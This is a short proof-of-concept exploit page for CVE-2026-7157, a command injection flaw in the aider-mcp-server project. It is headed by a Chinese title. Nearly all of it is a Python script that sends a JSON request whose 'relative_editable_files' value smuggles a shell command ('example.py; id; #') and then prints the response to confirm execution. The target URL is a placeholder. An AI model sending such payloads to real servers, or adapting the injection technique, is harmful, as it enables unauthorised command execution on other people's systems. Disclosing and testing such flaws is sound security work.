CVE-2026-7157 disler aider命令注入漏洞

import requests # Exploit Title: CVE-2026-7157 - disler aider-mcp-server Command Injection # Description: PoC to demonstrate command injection via relative_editable_files parameter target_url = "http://target-host:port/api/endpoint" # Replace with actual target endpoint # The injection point is the 'relative_editable_files' parameter. # Using a semicolon to chain a simple command (e.g., 'id' or 'whoami'). malicious_payload = { "relative_editable_files": "example.py; id; #" } try: print("[*] Sending malicious request to target...") response = requests.post(target_url, json=malicious_payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for command execution output:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")